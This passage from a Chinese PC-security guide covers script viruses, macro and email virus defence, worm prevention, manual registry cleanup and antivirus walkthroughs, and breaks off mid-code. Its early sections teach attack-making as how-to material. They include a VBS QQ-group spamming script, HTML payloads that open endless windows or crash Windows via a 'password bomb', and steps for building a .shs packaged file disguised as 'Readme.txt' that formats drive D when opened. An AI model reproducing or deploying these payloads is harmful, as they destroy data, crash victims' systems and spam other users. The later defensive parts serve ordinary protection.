步骤8：如选择“AntiDeletion（反删除）”功能，即可弹出【vbswg2-AntiDeletion】对话框，在其中可以随时检查注册表和其隐藏的目录，如果发现键值或程序已被删除，就再次恢复（这一点有点类似于某些木马，查杀起来比较麻烦，可以说这是一种比较好的生存方式），如图6-17所示。

图　6-17　【vbswg2-AntiDeletion】对话框

步骤9：若选择"Encryption"选项，即可弹出【vbswg2-Encryption】对话框，则可从字符串加密和完全加密两项中选择其中任意一种加密方式，如图6-18所示。若选择"Join"选项，即可弹出【vbswg2-Join】对话框，在其中将一个二进制程序的代码嵌入到vbs中间解释执行，以夹带其他二进制病毒，从而实现“双病毒”的奇特功效，但很危险。程序大小不能超过350K，且生成的新病毒是原二进制程序的两倍还要大，如图6-19所示。

图　6-18　【vbswg2-Encryption】对话框

图　6-19　【vbswg2-Join】对话框

3.VBS脚本病毒刷QQ聊天屏

VBS脚本语言功能强大，而且使用异常简单，下面将为大家讲述制作一个可以自动刷QQ群聊天室的VBS病毒。

（1）生成VBS脚本

要新建一个记事本，并在空白的文本框中输入如下代码：

Set WshShell=WScript.CreateObject("WScript.Shell")

WshShell.AppActivate"这个群真好玩"

for i=1 to 10

WScript.Sleep 500

WshShell.SendKeys"^v"

WshShell.SendKeys i

WshShell.SendKeys"%s"

Next

其中"for i=1 to 10"语句是用来控制发送次数的，表示发送10次，可以改为更大的数字。其中很重要的一句是“WshShell.AppActivate"这个群真好玩"”，该语句指定了要刷的QQ群名称，可以根据需要修改。在输入完毕后，将文件保存为以.vbs为后缀的任意文件名，如"QQ.vbs"，如图6-20所示。

图　6-20　在记事本中添加代码

（2）刷QQ群聊天屏

打开一个群聊天窗口并复制要发送的内容到剪贴板上，如复制了一条“什么？”，双击刚才生成的"QQ.vbs"切换到群聊天窗口中，在其中可看到已自动刷屏了，如图6-21所示。

图　6-21　群聊天窗口

注意　在刷屏成功后，每一条信息下面都显示信息发送的条数，当发送完指定的条数后，便会自动停止了。

4.VBS网页脚本病毒

许多网页中的重要代码大多是采用VBS语言编写，大家可在这类网页中加入一些VBS病毒代码，造成浏览网页者死机、系统被破坏和数据丢失等。

下面介绍几个VBS网页脚本病毒代码，该代码可与IE网页木马结合使用。

（1）无限循环窗口

在网页中加入一些VBS病毒代码，将造成无限循环窗口的具体操作步骤如下。

步骤1：先任意打开一个网页，再选择【查看】→【源文件】菜单项，即可查看该网页的源代码。再新建一个记事本，在记事本窗口空白文本区添加"＜script language="java script"＞n=1;while(n==1){window.open("")}＜/script＞"代码，如图6-22所示。

图　6-22　添加VBS病毒代码

步骤2：添加到合适的位置后，选择【文件】→【另存为】菜单项，即可弹出【另存为】对话框，在其中输入需保存文件名并选择文件类型为.html格式，再保存该网页。

步骤3：打开刚保存过的网页，就会不断弹出新的窗口，直到系统资源耗尽死机为止，如图6-23所示。

图　6-23　查看无限循环窗口

（2）IE密码炸弹

在网页中加入一些VBS病毒代码，将造成Windows死机崩溃的具体操作步骤如下。

步骤1：任意打开一个网页，再选择【查看】→【源文件】菜单项，即可查看该网页的源代码。

步骤2：新建一个记事本，在记事本窗口空白文本区添加“＜Script language="javascript"＞a=prompt（"请输入登录密码："，""）；

If(a!="123"){window. open("file:///C:/con/con")}else{alert("密码正确!")}＜/script＞”代码。

步骤3：添加到合适的位置后，选择【文件】→【另存为】菜单项，即可弹出【另存为】对话框，在其中输入需要保存的文件名并选择文件类型为.html格式，再保存该网页。

步骤4：打开刚保存过的网页，则会要求输入登录密码，默认密码为“123”。密码输入正确后可进入网页；如果密码输入不正确，后果将会是Windows死机崩溃且无法再打开C盘。

第56招　宏病毒与邮件病毒防范

宏病毒与邮件是广大用户经常遇到的病毒，如果中了这些病毒就可能会给自己造成重大损失，所以有必要了解一些这方面的防范知识。

1.宏病毒的判断方法

虽然不是所有包含宏的文档都包含了宏病毒，但当有下列情况之一时，则可以断定该Office文档或Office系统中有宏病毒。

1）在打开“宏病毒防护功能”的情况下，当打开一个自己编辑的文档时，系统会弹出相应的警告框。而自己清楚自己并没有在其中使用宏或并不知道宏到底怎么用，那么就可以肯定该文档已经感染了宏病毒。

2）在打开“宏病毒防护功能”的情况下，自己的Office文档中一系列的文件都在打开时给出宏警告。由于在一般情况下用户很少使用到宏，所以当自己看到成串的文档有宏警告时，可以肯定这些文档中有宏病毒。

3）如果软件中关于宏病毒防护选项启用后，不能在下次开机时依然保存。Word中提供了对宏病毒的防护功能，它可以在“工具”→“选项”→“常规”中进行设定。但有些宏病毒为了对付Office中提供的宏警告功能，它在感染系统（这通常只有在用户关闭了宏病毒防护选项或者出现宏警告后不留神选取了“启用宏”才有可能）后，会在用户每次退出Office时自动屏蔽掉宏病毒防护选项。因此，用户一旦发现自己设置的宏病毒防护功能选项无法在两次启动Word之间保持有效，则系统一定已经感染了宏病毒。也就是说一系列Word模板、特别是normal.dot已经被感染。

鉴于绝大多数人都不需要或者不会使用“宏”功能，所以可以得出一个相当重要的结论：如果Office文档在打开时，系统给出一个宏病毒警告框，就应该对这个文档保持高度警惕，它已被感染的几率极大。

2.防范与清除宏病毒

针对宏病毒的预防和清除操作方法很多，下面就首选方法和应急处理两种方式进行介绍。

（1）首选方法

使用反病毒软件是一种高效、安全和方便的清除方法，也是一般计算机用户的首选方法。但宏病毒并不像某些厂商或麻痹大意的人那样有所谓“广谱”的查杀软件，这方面的突出例子就是ETHAN宏病毒。ETHAN宏病毒相当隐蔽，比如用户使用反病毒软件（应该算比较新的版本了）都无法查出它。此外，这个宏病毒能够悄悄取消Word中宏病毒防护选项，并且某些情况下会把被感染的文档置为只读属性，从而更好地保护了自己。

因此，对付宏病毒应该和对付其他种类的病毒一样，也要尽量使用最新版本的查杀病毒软件。无论用户使用的是何种反病毒软件，及时升级是非常重要的。

（2）应急处理方法

用写字板或Word文档作为清除宏病毒的桥梁。如果用户的Word系统没有感染宏病毒，但需要打开某个外来的、已查出感染有宏病毒的文档，而手头现有的反病毒软件又无法查杀它们，就可以试验用来查杀文档中的宏病毒：打开感染了宏病毒的文档（当然是启用Word中的“宏病毒防护”功能并在宏警告出现时选择“取消宏”），选择【文件】→【另存为】菜单项，将此文档改存成写字板（RTF）格式或Word格式。

在上述方法中，存成写字板格式是利用RTF文档格式没有宏，存成Word格式则是利用了Word文档在转换格式时会失去宏的特点。写字板所用的RTF格式适用于文档中的内容限于文字和图片的情况下，如果文档内容中除了文字、图片外还有图形或表格，按Word格式保存一般不会失去这些内容。存盘后应该检查一下文档的完整性，如果文档内容没有任何丢失，并且在重新打开此文档时不再出现宏警告则大功告成。

3.全面防御邮件病毒

邮件病毒是通过电子邮件方式进行病毒传播的总称。电子邮件传播病毒通常是把自己作为附件发送给被攻击者，如果接受到该邮件的用户不小心打开了附件，病毒就会感染本地计算机。另外，由于电子邮件客户端程序的一些Bug，也可能被攻击者利用传播电子邮件病毒，微软的Outlook Express曾经就因为两个漏洞可以被攻击者编制特制的代码，使接受到邮件的用户不需要打开附件，即可自动运行病毒文件。

在了解了邮件病毒的传播方式后，用户就可以根据其特性制定出相应的防范措施。

1）安装防病毒程序。防御病毒感染的最佳方法就是安装防病毒扫描程序并及时更新。防病毒程序可以扫描传入的电子邮件中的已知病毒，并帮助防止这些病毒感染计算机。新病毒几乎每天都会出现，因此需要确保及时更新防病毒程序。多数防病毒程序都可以设置为定期自动更新，以具备需要与最新病毒进行斗争的信息。

2）打开电子邮件附件时要非常小心。电子邮件附件是主要的病毒感染源。例如，用户可能会收到一封带有附件的电子邮件（甚至发送者是自己认识的人），该附件被伪装为文档、照片或程序，但实际上是病毒。如果打开该文件，病毒就会感染计算机。如果收到意外的电子邮件附件，请在打开附件之前先答复发件人，问清是否确实发送了这些附件。

3）使用防病毒程序检查压缩文件内容。病毒编写者用于将恶意文件潜入到计算机中的一种方法是使用压缩文件格式（如.zip或.rar格式）将文件作为附件发送。多数防病毒程序会在接收到附件时进行扫描，但为了安全起见，应该将压缩的附件保存到计算机的一个文件夹中，在打开其中所包含的任何文件之前先使用防病毒程序进行扫描。

4）单击邮件中的链接时需谨慎。电子邮件中的欺骗性链接通常作为仿冒和间谍软件的一部分使用，但也会用来传输病毒。点击欺骗性链接会打开一个网页，该网页将试图向计算机下载恶意软件。在决定是否点击邮件中的链接时要小心，尤其是邮件正文看上去含糊不清，如邮件上写着“查看我们的假期图片”，但没有标识用户或发件人的个人信息。

4.揭秘文本病毒

文本文件是日常计算机应用中最为常见的文件格式，由于Microsoft公司的“写字板”程序允许插入一个外来对象，还提供了对对象包的编辑功能，就使得可以建立一个写字板文件，对其插入一个TXT文件并对TXT文件进行对象包编辑，输入破坏性命令，再利用Windows系统的拖拽功能把该对象拖出写字板，该对象包就形成了一个碎片文件（.shs）。由于Windows系统默认不显示已知扩展名称（像.txt、.shs等文件后缀都不显示，但会以不同图标显示），如用户运行了包含有破坏性命令的碎片文件，就会带来灾难性破坏。

下面以制作一个文本炸弹为例介绍文本病毒的操作方法。

步骤1：创建一个内容尽量少的文本文件，如只包含空格，大小为1字节，如图6-24所示。将新建的文件拖拽到“写字板”文档中，如图6-25所示。

图　6-24　创建文本文件

图　6-25　添加对象

步骤2：选择【编辑】→【包对象】→【编辑包】菜单项，即可打开【对象包装程序】窗口，如图6-26所示。再选择【编辑】→【命令行】菜单项，在右侧内容区域中输入"start.exe/m format d:q/autotest/u"命令，如图6-27所示。

图　6-26　执行“编辑包”命令

图　6-27　输入命令

步骤3：单击【插入图标】按钮，再单击【确定】按钮，在弹出的对话框中选择一个图标，如图6-28所示。选择【编辑】→【标签】菜单项，为此嵌入对象取一个名称，如图6-29所示。再执行【文件】→【更新】菜单项，即可更新所选择的文件。

图　6-28　选择图标

图　6-29　为嵌入对象取名

步骤4：在关闭【对象包装程序】窗口之后，单击【更新】按钮，将编辑好的对象拖出“写字板”窗口形成一个片段文件，如图6-30所示。

图　6-30　生成的片段文件

步骤5：将该片段文件更名为"Readme.txt"，但真实的后缀.shs并不更改，因为其真实后缀并不显示，且图标也没有改变，如图6-31所示。不知情的用户双击该片段文件就会运行其中包含的命令行，将本地磁盘的D区格式化。

图　6-31　更改文件名称

第57招　全面防范网络蠕虫

与传统的病毒不同，蠕虫病毒以计算机为载体，以网络为攻击对象，网络蠕虫病毒可分为利用系统级别漏洞（主动传播）和利用社会工程学（欺骗传播）两种。在宽带网络迅速普及的今天，蠕虫病毒在技术上已经能够成熟地利用各种网络资源进行传播。

1.网络蠕虫病毒实例分析

目前，产生严重影响的蠕虫病毒有很多，如“莫里斯蠕虫”、“美丽杀手”、“爱虫病毒”、“红色代码”、“求职信”和“蠕虫王”等，都给人们留下了深刻的印象。

1）"Guapim"。"Guapim"（Worm. Guapim）蠕虫病毒特征为：通过即时聊天工具和文件共享网络传播的蠕虫病毒。发作症状：病毒在系统目录下释放病毒文件：System32%\pkguar d32.exe，并在注册表中添加特定键值以实现自启动。该病毒会给MSN、QQ等聊天工具的好友发送诱惑性消息："Hehe.takea look at this funny game http://****//Monkye.exe"，同时假借HowtoHack.exe、HalfLife2FULL.exe、WindowsXP.exe、VisualStudio2005.exe等文件名复制自身到文件共享网络，并试图在Internet网络上下载执行另一蠕虫病毒，直接降低系统安全设置，给用户正常操作带来极大的隐患。

2）安莱普蠕虫病毒。“安莱普”（Worm.Anap.b）蠕虫病毒通过电子邮件传播，利用用户对知名品牌的信任心理，伪装某些知名IT厂商（如成微软、IBM等）给用户发带毒邮件，诱骗用户打开附件以致中毒，病毒运行后会弹出一个窗口，内容提示为“这是一个蠕虫病毒”。同时，该病毒会在系统临时文件和个人文件夹中大量收集邮件地址，并循环发送邮件。

提示　针对这种典型的邮件传播病毒，大家在查看自己的电子邮件时，一定要确定发件人自己是否熟悉之后再打开。

虽然利用邮件进行传播一直是病毒传播的主要途径，但随着网络威胁种类的增多，和病毒传播途径的多样化，某些蠕虫病毒往往还携带着“间谍软件”和“网络钓鱼”等不安全因素。因此，一定要注意即时升级自己的杀毒软件到最新版本，注意打开邮件监控程序，让自己的上网环境安全。

2.网络蠕虫病毒的全面防范

在对网络蠕虫病毒有了一定的了解后，下面主要讲述一下应该如何以企业和个人的两种角度做好安全防范。

（1）企业用户对网络蠕虫的防范

企业在充分地利用网络进行业务处理时，不得不考虑企业的病毒防范问题，以保证关系企业命运的业务数据不被破坏。企业防治蠕虫病毒时需要考虑几个问题：病毒的查杀能力、病毒的监控能力和新病毒的反应能力。

推荐的企业防范蠕虫病毒的策略如下。

1）加强安全管理，提高安全意识。由于蠕虫病毒是利用Windows系统漏洞进行攻击的，因此，就要求网络管理员尽力在第一时间内，保持系统和应用软件的安全性，保持各种操作系统和应用软件的及时更新。随着Windows系统各种漏洞的不断涌现，要想一劳永逸地获得一个安全的系统环境，已几乎不再可能。而作为系统负载重要数据的企业用户，其所面临攻击的危险也将越来越大，这就要求企业的管理水平和安全意识也越来越高。

2）建立病毒检测系统。能够在第一时间内检测到网络异常和病毒攻击。

3）建立应急响应系统，尽量降低风险。由于蠕虫病毒爆发的突然性，可能在被发现时已蔓延到了整个网络，建立一个紧急响应系统就显得非常必要，能够在病毒爆发的第一时间提供解决方案。

4）建立灾难备份系统。对于数据库和数据系统，必须采用定期备份，多机备份措施，防止意外灾难以致数据丢失！

5）对于局域网而言，可安装防火墙式防杀计算机病毒产品，将病毒隔离在局域网之外；或对邮件服务器实施监控，切断带毒邮件的传播途径；或对局域网管理员和用户进行安全培训；建立局域网内部的升级系统，包括各种操作系统的补丁升级，各种常用的应用软件升级，各种杀毒软件病毒库的升级等。

（2）个人用户对网络蠕虫的防范

对于个人用户而言，威胁大的蠕虫病毒采取的传播方式一般为电子邮件（Email）以及恶意网页等。下面介绍一下个人应该如何防范网络蠕虫病毒：

1）安装合适的杀毒软件。网络蠕虫病毒的发展已经使传统的杀毒软件的“文件级实时监控系统”落伍，杀毒软件必须向内存实时监控和邮件实时监控发展；网页病毒也使用户对杀毒软件的要求越来越高！

2）经常升级病毒库。杀毒软件对病毒的查杀是以病毒的特征码为依据的，而病毒每天都层出不穷，尤其是在网络时代，蠕虫病毒的传播速度快，变种多，所以必须随时更新病毒库，以便能够查杀最新的病毒！

3）提高防杀毒意识。不要轻易去点击陌生的站点，有可能里面就含有恶意代码！当运行IE时，在“Internet区域的安全级别”选项中把安全级别由“中”改为“高”，因为这一类网页主要是含有恶意代码的ActiveX或Applet、javascript的网页文件，在IE设置中将ActiveX插件和控件、Java脚本等全部禁止，以大大减少被网页恶意代码感染的几率。

双击【控制面板】窗口中的“Internet选项”图标项，即可打开【Internet属性】对话框，如图6-32所示。在“安全”选项卡中单击【自定义级别】按钮，即可弹出【安全设置】对话框，把“Activex控件及插件”中的一切选项都设为禁用，如图6-33所示。这样在以后的网页浏览过程中，有可能会使一些正常应用ActiveX的网站无法浏览。

图　6-32　“安全”选项卡

图　6-33　设置安全属性

4）不随意查看陌生邮件。一定不要打开扩展名为VBS、SHS或PIF的邮件附件。这些扩展名从未在正常附件中使用过，但它们经常被病毒和蠕虫使用。

第58招　手动查杀病毒

如今许多新型病毒只有等到爆发之后才会有相应的更新病毒库，因此，学习手动杀毒很有必要，可以让用户更加熟悉计算机的进程以及更多计算机技术。

1.查看系统信息

病毒的伪装性非常强，通常会伪装成为系统进程让人不易察觉，其中Explorer.exe、svchost.exe、spoolsv.exe、winlogon.exe、rundll32.exe等，就是病毒最容易利用的进程，而且这些进程都是为了确保系统正常运行的必备进程。

病毒会伪装成与这些进程名称极其类似的名字，欺骗用户，或将自身的DLL模块嵌入到这些系统进程当中。下面从基础的病毒名称欺骗来介绍病毒进程命名欺骗的大体方式：

如危害性极大的“威金病毒”主要包含有：rundl132.exe、logo_1.exe、vdll.dll、logo1_.exe、exp10rer.exe等病毒进程，这些病毒进程看起来与系统进程没什么区别，其实不然，仔细分别就能看出，原系统进程为"rundll32.exe"，而病毒进程为"rundl132.exe"，区别在于系统进程是两个英文字母"ll"，病毒进程则是一个英文字母"l"一个数字“1”；另一个进程"explorer.exe"也是如此，其中的两个英文进程"lo"被病毒换作了数字的“10”。

对于这些伪装的病毒，可以使用一些进程查看工具，将进程名称复制在记事本中，记事本文件可以很容易地分辨出字母和数字的区别，对照正常进程列表就很容易查看出哪些是系统进程，哪些是病毒文件了。

2.搜索注册表

注册表也是病毒喜欢的藏身之处，甚至有些病毒利用注册表躲过了许多杀毒软件的查杀。其中"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curren Version"与"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion"下以"Run"开头的键值名是最容易隐藏病毒的地方，也是病毒能够随系统的启动而运行的关键所在。如果在该键值下发现可疑文件，立即删除相应的键值。在使用注册表查杀病毒之前最好备份一下注册表，以免修改不当而造成系统的崩溃。下面介绍一些著名病毒的注册表查杀方法。

（1）清除Sirsam蠕虫病毒

具体操作步骤如下。

步骤1：在注册表编辑器中查找注册表"HKEY_CLASSES_ROOT\exefile\shell\open\comm and"项，修改键值"C:\recycled\Sir32.exe"为“"%1""%*"”。

步骤2：查找注册表"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\RunService"选项，删除子项"Driver32"。

步骤3：查找注册表"HKEY_LOCAL_MACHINE\SOFTWARE"项，删除子项"Driver32"。

（2）清除冰河病毒

具体操作步骤如下。

步骤1：在注册表编辑器中查找注册表"HKEY_LOCAL_MACHINE\SOFTWARE\Micro soft\Windows\CurrentVersion\RunService"项，删除键值"C:\windows\system\ker nel32.exe"。

步骤2：查找注册表"HKEY_CLASSES_ROOT\txtfile\shell\open\command"选项，修改“默认”的键值为"%systemroot%\system32\NOTEPAD.EXE%1"。

（3）清除"YAL"木马病毒

在注册表编辑器中查找注册表"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wind ows\CurrentVersion\RunServices"选项，删除键值"Batterieanzeige"。

（4）清除Netbull病毒

在注册表编辑器中查找注册表"HKEY_CURRENT_USER\Software\Microsoft\Windows CurrentVersion\Run"、"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\RunServices"、"HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run"选项，删除键值"CheckDll.exe"。

（5）清除爱情森林病毒

在注册表编辑器中查找注册表"HKEY_LOCAL_MACHINE\Software\Microsoft\Windo ws\CurrentVersion\Run"项，删除键值"intarnet=%windowssystem%rundll.exe"。

（6）清除KeyboardGhost病毒

在注册表编辑器中查找注册表"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Win dows\CurrentVersion\RunServices"项，删除键值"KeyboardGhost"。

（7）清除爱虫病毒

在注册表编辑器中查找注册表"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Win dows\CurrentVersion\Run"项，删除键值"Mskernel32"。

（8）清除求职信变种病毒

在注册表编辑器中查找注册表"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Win dows\CurrentVersion"、"HKEY_LOCAL_MACHINE\SOFTWARE\System\CurrentControlSet\Services"项，删除所有键值"Wink???.exe"。

3.删除病毒

在进程中查找病毒进程和注册表中清除病毒的键值还不足以彻底消灭病毒，因为病毒都还有一个本体文件，通常隐藏在系统硬盘中，只有彻底删除病毒文件，才能成功清除掉病毒。

系统文件夹是病毒经常藏身之地，系统文件默认为隐藏状态：双击打开“我的电脑”窗口，选择【文件】→【文件夹选项】菜单项，即可打开【文件夹选项】对话框，如图6-34所示。在【查看】选项卡的“高级设置”栏中选择“显示所有文件和文件夹”单选项，如图6-35所示。单击【确定】按钮，即可查看系统中所有隐藏的文件和文件夹。

图　6-34　【文件夹选项】对话框

图　6-35　【查看】选项卡

一般情况下，Windows操作系统都存放在C盘下，下面以Windows XP操作系统为例，列出一些病毒经常光顾的文件夹。

C:/

C:/WINOWS

C:/WINDOWS/SYSTEM32

C:/WINDOWS/SYSTEM

C:/Program Files/Internet Explorer

C:/windows/Temporary Internet Files/Temporary Internet Files

C:/temp

C:/winows/temp

C:/Documents and Settings/Administrator/Templates

C:/Documents and Settings/Administrator/Local Settings/Temporary Internet Files

C:/Documents and Settings/Administrator/Local Settings/Temp

后3个为“我的文档”的位置，根据系统版本的不一样位置也可能有所变化，如GHOST版本的系统为了安全起见，会将“我的文档”放在D盘目录下，读者需依据自身情况来查看这些文件夹。在平常运行的Windows操作界面下删除病毒文件，经常会出现删除不掉的现象，或某些进程无法终止的情况。因此，最好在安全模式或DOS下进行杀毒。

对于一些不太熟悉DOS命令的朋友，建议在安全模式下进行。具体操作方法：重启系统并在BIOS加载完后迅速按"F8"键，出现“Windows高级选项菜单”界面时使用光标键的“↑”和“↓”移动选择选项，高亮显示条就是当前选中的选项，选择“安全模式”选项，就可以进入安全模式了。安全模式是在不加载第三方设备驱动程序的情况下启动计算机，使计算机运行在系统最小模式，这样，用户就可以方便地检测与修复计算机系统的错误，在这样的环境中查杀病毒会更彻底、更干净。

第59招　使用杀毒软件

杀毒软件也是病毒防范必不可少的工具，随着人们对病毒危害的认识，杀毒软件也被逐渐地重视起来，各式各样的杀毒软件如雨后春笋般出现在市场中。

1.用NOD32查杀病毒

NOD32是近几年中迅速崛起的一款杀毒软件。以轻巧易用、惊人的检测速度及卓越的性能深受用户青睐，成为许多用户和IT专家的首选。并且经多家检测权威确认，NOD32在速度，精确度和各项表现上已拥有多项的全球记录。

在使用NOD32进行查杀病毒之前，最好先升级一下病毒库，这样才能保证杀毒软件对新型病毒的查杀效果。更新病毒库之后，就可以对计算机进行最常用的查杀病毒操作了。

具体的操作步骤如下。

步骤1：选择【开始】→【所有程序】→【ESET】→【ESET NOD32 Antivirus】→【ESET NOD32 Antivirus】菜单项，即可打开【ESET NOD32 Antivirus】窗口，如图6-36所示。

图　6-36　【ESET NOD32 Antivirus】窗口

步骤2：单击左侧【计算机扫描】选项卡，即可任意选择扫描的目标范围。单击“标准扫描”链接，即可对计算机全面扫描，如图6-37所示。

图　6-37　开始扫描

步骤3：单击“在新窗口中显示扫描和日志”链接，即可打开【计算机扫描】窗口，在其中可查看扫描的详细过程，如图6-38所示。在等待扫描完毕之后，将会显示扫描结果，显示如图6-39所示。单击【确定】按钮，即可完成对计算机的查杀。

图　6-38　【计算机扫描】窗口

图　6-39　病毒查杀完毕

步骤4：单击左侧【设置】选项卡，即可对NOD32调整计算机的安全等级，如图6-40所示。单击“切换高级模式”链接，即可弹出【切换到高级模式】对话框，如图6-41所示。

图　6-40　【设置】选项卡

图　6-41　切换到高级模式对话框

步骤5：单击【确定】按钮，就会在左侧窗口多出一个【工具】选项卡，在其中可查看NOD32对查杀病毒的一些信息，如图6-42所示。单击【日志文件】链接，即可弹出【日志文件】窗口，在其中可看到扫描记录，如图6-43所示。

图　6-42　“高级模式”界面

图　6-43　【日志文件】窗口

2.瑞星杀毒软件2009

瑞星全功能安全软件2009基于“云安全”策略和“智能主动防御”技术开发的新一代互联网安全产品，将杀毒软件与防火墙的无缝集成、整体联动，极大降低电脑资源占用，集“拦截、防御、查杀、保护”四重防护功能于一身。由8000万用户组成的“云安全”网络第一时间截获、查杀木马病毒和挂马网站，将病毒阻挡在电脑之外，斩断木马病毒传播通道。

将瑞星杀毒2009安装完毕之后，就可以利用它进行病毒的防范和查杀了。

使用瑞星杀毒软件进行杀毒的具体操作步骤如下。

步骤1：启动瑞星杀毒软件，单击【杀毒】选项卡，进入“杀毒”标签页，如图6-44所示。在其中确定要扫描的文件夹或其他目标，在【查杀目标】中被勾选的目录即未当前选定的查杀目标，如图6-45所示。

图　6-44　“杀毒”标签页

图　6-45　确定查杀目标

步骤2：单击【开始查杀】按钮，则开始查杀相应目标，发现病毒立即清除；扫描过程中可随时单击【暂停查杀】按钮来暂时停止查杀病毒，按【继续查杀】按钮则继续查杀，或单击【停止查杀】按钮停止查杀病毒。

步骤3：查杀病毒过程中，文件数、病毒数和查杀百分比将显示在下面，并且可以通过【详细信息】查看查杀病毒的详细情况，其中包括：当前查杀文件路径、查杀信息、查杀进度、病毒列表等。若瑞星杀毒软件发现病毒，则会将文件名、所在文件夹、病毒名称和状态显示在此窗口中。在每个文件名称前面有图标标明病毒类型，病毒类型详见病毒类型识别。通过单击“概要信息”超链接，来返回到前一页面。另外，查杀病毒方式可以使用右键菜单对染毒文件进行处理，如图6-46所示。

图　6-46　正在查杀

步骤4：在查杀结束后，即可弹出【查杀结果】对话框，在其中看到查杀文件数、发现病毒数、查杀所用的时间等信息。同时扫描结果将自动保存到杀毒软件工作目录的指定文件中，可通过历史记录来查看以往查杀病毒结果，如图6-47所示。

图　6-47　【查杀结果】对话框

第60招　保护系统安全的安全护盾

安全护盾是国内首款具有系统和文件双重防护的安全类软件，它具有强大的核心监控功能，包括对程序、网络连接、流氓软件、系统目录、启动项的实时化监控，与此同时，独占式文件保护，保证了文件的储存和内容安全。

1.安全护盾的使用

当安全护盾安装完毕并启动后，安全护盾就自动打开其各种监控功能，对系统进行全方位的监控，用户一般不需要进行设置。其具体的操作步骤如下。

步骤1：将安全护盾安装并启动后即可进入其操作界面，如图6-48所示。

图　6-48　安全护盾操作界面

步骤2：单击【状态】按钮，在其中看到各种“核心监控”功能已经处于开启状态，其中包括“程序监控”、“网络监控”、“流氓软件监控”、“系统目标监控”、“启动项监控”、“U盘病毒监控”，以及“文件保护”项下的“独占完全锁定”、“独占只读式锁定”功能也已开启。若单击“核心监控”项下某个监控项后的“更改状态”超链接，则可将该监控功能关闭。

步骤3：单击【核心监控】按钮并选取“程序实时监控”标签，则可以查看当前系统运行的进程等相关信息，如图6-49所示。在其中可以结束所选进程、查看所选进程文件所在目录、将可疑的进程添加为例外进程等。

图　6-49　程序实时监控

步骤4：选取“网络实时监控”标签，则可以查看当前系统开启的端口以及远程连接的端口等信息，如图6-50所示。选取“流氓软件监控”标签，再单击【规则管理】按钮，则可以改变所选对象的监控状态，如图6-51所示。选取“系统目录监控”标签，在其中设置系统目录监控的安全级别，如图6-52所示。

图　6-50　网络监控

图　6-51　设置流氓软件监控状态

图　6-52　系统目录监控

步骤5：单击【文件保护】按钮，在其中可以添加需要保护的重要文件，如图6-53所示。单击【安全工具】按钮，在其中使用安全护盾为用户提供多种安全工具，其中包括文件粉碎器、杀毒功能、反恶意修改等功能，如图6-54所示。

图　6-53　添加需要保护的文件

图　6-54　安全工具

步骤6：当安全护盾软件运行后，将自动按照用户的设置对系统进行扫描，发现病毒、木马、流氓软件等对象将自动报警，如图6-55所示。用户需要根据报警的内容选择相应的工具，将警报的对象进行清除。

图　6-55　安全警报

2.自动拦截与网络连接的程序

当安全护盾正常运行且各种监控程序都处于开启状态后，如果本机内有程序与外界建立连接，此时就会弹出“自动拦截程序”警告界面，用户可根据拦截的内容选择相应操作。

具体的操作步骤如下。

步骤1：在安全护盾正常运行时，会自动拦截与外界连接的运行程序并显示安全警报窗口，如图6-56所示。

图　6-56　拦截不安全程序

步骤2：如果用户了解现运行的程序，则可单击【解除拦截】按钮，允许该程序通过拦截。若单击【信任此程序】按钮，则安全护盾以后再也不拦截该程序的运行。

步骤3：如果用户对被拦截的程序不熟悉，则尽量单击【保持拦截】按钮，将其程序与网络连接的程序拒绝，避免木马、病毒、远程控制程序等黑客工具的运行与入侵。若单击【结束此程序】按钮，则被拦截的程序将终止运行。

步骤4：如果用户对被拦截的程序不了解，不知道如何操作时，还可以单击【在线查询信息】按钮，通过Internet网络查询该程序的有关信息，确认后再决定如何操作。

第61招　真假Desktop.ini和*.htt文件

说到真假Desktop.ini和.htt文件，就让人想到“欢乐时光”病毒了，还记得那铺天盖地的各种版本的病毒变形肆虐网络，大有山洪爆发之势的情景吗？现在回忆起来似乎也就只有“真假Desktop.ini和.htt”这个话题了。

具体的染毒情况如下。

1）在每个检查到的文件夹下生成Desktop.ini和Folder.htt文件（这两个文件控制了文件夹在资源管理器中的显示）。

2）在Windows\System32和Windows\Web中生成Kjwall.gif。

3）在Windows 9X系统中，生成Windows\system\Kernel.dll文件，且自动运行。

冠群金辰公司关于这个病毒的报告：

别名：VBS/Redlof.A, HTML.Redlof.A；

传播范围：低　破坏性：低　蔓延性：中

1.清除“新欢乐时光”病毒

成功清除“新欢乐时光”病毒的具体操作步骤如下。

步骤1：在【控制面板】窗口中双击“文件夹选项”图标，即可弹出【文件夹选项】对话框，切换至“查看”选项卡，将隐藏文件设为“显示所有文件”选项，如图6-57所示。

图　6-57　【文件夹选项】对话框

注意　因为“欢乐时光”病毒产生的几个文件：Desktop.ini、Folder.htt和Kjwall.gif都是隐藏的，所以要在显示所有文件时才能将它们查找出来。

步骤2：选择【开始】→【搜索】菜单项，即可弹出【搜索结果】窗口。在搜索关键字文本框中输入“desktop.ini、Folder.htt和Kjwall.gif”等关键信息，单击【立即搜索】按钮，即可找到这些隐藏的文件，如图6-58所示。

图　6-58　“搜索结果”窗口

步骤3：将"Windows\System"目录中的Kernel.dll文件删除之后，重启系统就大功告成了。再单击各个磁盘就会很畅快了，不会出现停滞。这种手工清除法只是发现病毒，又没有查杀病毒软件时权宜之计，它治标不治本，最好还是用最新的杀毒软件对其进行查杀。

2.用Folder.htt文件加密文件夹

任何事物都有利弊的方面，这个病毒也不例外。在了解病毒传播方式后，也可仿照病毒传播方式深入了解文件"Folder.htt"有益的一面。这个文件是使用JavaScript编写的用来定义打开文件夹行为的超文本文件（可以使用FrontPage打开该文件进行简单编辑）。

其中，打开文件夹的行为定义在如下函数中为：

Function showfiles(){

Info.innerhtml=L_intro_text+"＜br＞＜br＞"+L_prompt_text;

Showfiles=true;

Document.all.filelist.style.display="";

Document.all.Brand.style.display="none";

Fixsize();

}

只需在这个函数中进行必要地修改，就可以改变文件打开的行为。比如，要想在打开该文件夹前先进行安全认证，可以这样修改函数：

Function showfiles(){

Var password="20000203";

Var input;

Input=prompt("请输入打开密码:","");

If(input==password)

{

